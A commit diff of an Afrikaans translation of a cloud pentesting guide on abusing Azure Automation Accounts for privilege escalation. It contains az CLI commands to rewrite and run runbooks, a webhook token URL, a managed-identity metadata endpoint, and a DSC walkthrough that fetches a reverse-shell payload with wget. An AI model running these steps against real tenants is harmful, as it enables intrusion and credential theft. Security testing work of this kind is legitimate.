Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:24 +00:00
parent 70bddaba85
commit 7ca46c01f0
2 changed files with 81 additions and 35 deletions

View File

@@ -10,11 +10,20 @@ Vir meer inligting, kyk:
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybrid worker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
Boonop, as die hybrid worker in Azure met ander Gemanagte Identiteite aanheg, sal die runbook toegang hê tot die **gemanagte identiteit van die runbook en al die gemanagte identiteite van die VM vanaf die metadata diens**.
> [!TIP]
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanagte identiteite token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
As 'n opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Automatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Automatiseringsrekening uit te voer en om voorregte te verhoog na die toegewyde **Geregte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Automatiseringsrekening gestoor is, te lek.
As 'n opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Outomatiseringsrekening uit te voer en voorregte te eskaleer na die toegewyde **Gemanagte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is.
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automatiseringsrekening te wysig met:
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Outomatiseringsrekening te wysig met:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,7 +47,11 @@ az automation runbook publish \
```
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te hardloop met:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n taak in die Automatiseringsrekening te lees met:
```bash
@@ -51,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemming laat die gebruiker toe om **'n gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met:
Hierdie toestemming laat die gebruiker toe om 'n **gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -69,7 +82,7 @@ az rest --method PATCH \
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Skedule in die Automatiseringsrekening te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met behulp van die volgende opdrag.
Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms.
Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms is.
```bash
## For linux
az automation schedule create \
@@ -110,7 +123,7 @@ az rest --method PUT \
}'
```
> [!TIP]
> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep.
> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep.
### `Microsoft.Automation/automationAccounts/webhooks/write`
@@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met die volgende opdragte.
Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met behulp van die volgende opdragte.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,38 +194,54 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dit sal outomaties die runbooks van die Github-bewaarplek na die Automatiseringsrekening invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Dit sal outomaties die runbooks van die Github-repositori na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Boonop, onthou dat vir bronbeheer om in Automatiseringsrekeninge te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê, en as dit 'n gebruiker bestuurde identiteit is, kan dit ook gekonfigureer word deur die **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** veranderlike in te stel met die **klant id** van die gebruiker bestuurde identiteit wat gebruik moet word.
Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word.
> [!TIP]
> Let daarop dat dit nie moontlik is om die repo-URL van 'n bronbeheer te verander sodra dit geskep is nie.
### `Microsoft.Automation/automationAccounts/variables/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met die volgende opdrag.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Pasgemaakte Runtime Omgewings
As 'n automatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met 'n paar kwaadwillige kode (soos **'n backdoor**) te oorskry. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word.
As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met kwaadwillige kode (soos **'n agterdeur**) te oorskryf. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word.
### Kompromittering van Staat Konfigurasie
### Kompromittering van Toestand Konfigurasie
**Kyk die volledige pos in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Stap 1 — Skep Lêers
**Benodigde Lêers:** Twee PowerShell-skripte is nodig:
1. `reverse_shell_config.ps1`: 'n Gewenste Staat Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload haal en uitvoer. Dit is beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
**Pasmaak:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
- Stap 2 — Zip Konfigurasie Lêer
Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account.
Die `reverse_shell_config.ps1` word saamgepers in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Stap 3 — Stel Stoor Konteks in & Laai op
Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Storage houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -221,11 +251,11 @@ Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Die skrif is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer.
Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer.
- Stap 5 — Publiseer Konfigurasie Lêer
Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrif na die gespesifiseerde ligging op die Windows VM.
Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM.
- Stap 6 — Gasheer Payload en Stel Luisteraar Op

View File

@@ -4,7 +4,7 @@
## Basiese Inligting
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomatieseer** soos hulpbronbestuur, konfigurasie en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (scripts vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** uit te voer, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (scripts vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
### Instellings
@@ -16,11 +16,11 @@ Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat
## Runbooks & Take
'n Runbook in Azure Automatisering is 'n **script wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatisseer.
'n Runbook in Azure Automatisering is 'n **script wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat.
Gaan na `Automatiseringsrekeninge` --> `<Kies Automatiseringsrekening>` --> `Runbooks/Take/Hibridewerkersgroepe/Watcher take/geloofsbriewe/veranderlikes/sertifikate/verbindinge`
Gaan na `Automatiseringsrekeninge` --> `<Kies Automatiseringsrekening>` --> `Runbooks/Take/Hibridewerkersgroepe/Watcher take/geloofsbriewe/veranderlikes/sertifikate/verbindings`
'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in:
@@ -34,19 +34,19 @@ Gaan na `Automatiseringsrekeninge` --> `<Kies Automatiseringsrekening>` --> `Run
Daar is 3 hoofmaniere om 'n Runbook uit te voer:
- **Skedules**: Hierdie word gebruik om Runbooks op 'n **spesifieke tyd** of **interval** te **aktiveer**.
- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
- **Skedules**: Hierdie word gebruik om **Runbooks** op 'n **spesifieke tyd** of **interval** te **aktiveer**.
- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om **Runbooks** van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
- **Handmatige Aktivering**: Jy kan 'n Runbook **handmatig aktiveer** vanaf die Azure-portaal en vanaf die cli.
### Bronbeheer
Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Dit maak dit moontlik om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie.
Ten einde die geconfigureerde bronbeheer te laat werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit moontlik om dit te doen deur die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** op die **Gebruikersbestuurde Identiteit Klient-ID** te stel.
Om te verseker dat die geconfigureerde bronbeheer werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruikers MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
### Runtime Omgewings
@@ -59,25 +59,32 @@ Wanneer 'n Runbook geskep word, is dit moontlik om die runtime-omgewing te kies.
- **Python 3.8**
- **Python 2.7**
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die runtime beskikbaar moet wees.
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die runtime moet wees.
### Hibridwerker
### Hibridewerkersgroepe
'n Runbook kan in 'n **houer binne Azure** of in 'n **Hibridwerker** (nie-Azure masjien) uitgevoer word.\
Die **Log Analytics Agent** word op die VM ontplooi om dit as 'n hibridwerker te registreer.\
Die hibridwerker take loop as **SISTEEM** op Windows en **nxautomation** rekening op Linux.\
Elke Hibridwerker is geregistreer in 'n **Hibridwerker Groep**.
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibridewerkersgroepe gebruik. 'n Hibridewerkersgroep bestaan uit **een of meer Hibrid Runbook Workers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
Daarom, as jy kan kies om 'n **Runbook** in 'n **Windows Hibridwerker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Sisteem** uitvoer (mooi pivot tegniek).
Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik gaan word. Daar is 2 opsies:
- **Standaard geloofsbriewe**: Jy hoef nie die geloofsbriewe te verskaf nie en die runbooks sal binne die VM's as **Stelsel** uitgevoer word.
- **Spesifieke geloofsbriewe**: Jy moet die naam van die geloofsbriewe objek binne die automatiseringsrekening verskaf, wat gebruik sal word om die **runbooks binne die VM's** uit te voer. Daarom, in hierdie geval, kan dit moontlik wees om **geldige geloofsbriewe** vir die VM's te **steel**.
Daarom, as jy kan kies om 'n **Runbook** in 'n **Windows Hibridewerkers** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (mooi pivot tegniek).
Boonop, as die hibridewerkers in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
> [!TIP]
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
### Toestand Konfigurasie (SC)
>[!WARNING]
> Soos aangedui in [die docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskakel word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskaf word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **DSC konfigurasies te skep** en toe te pas op **Windows** en **Linux** masjiene.
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik gemaak het om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat die vermoë bied om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
## Enumerasie
```bash
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell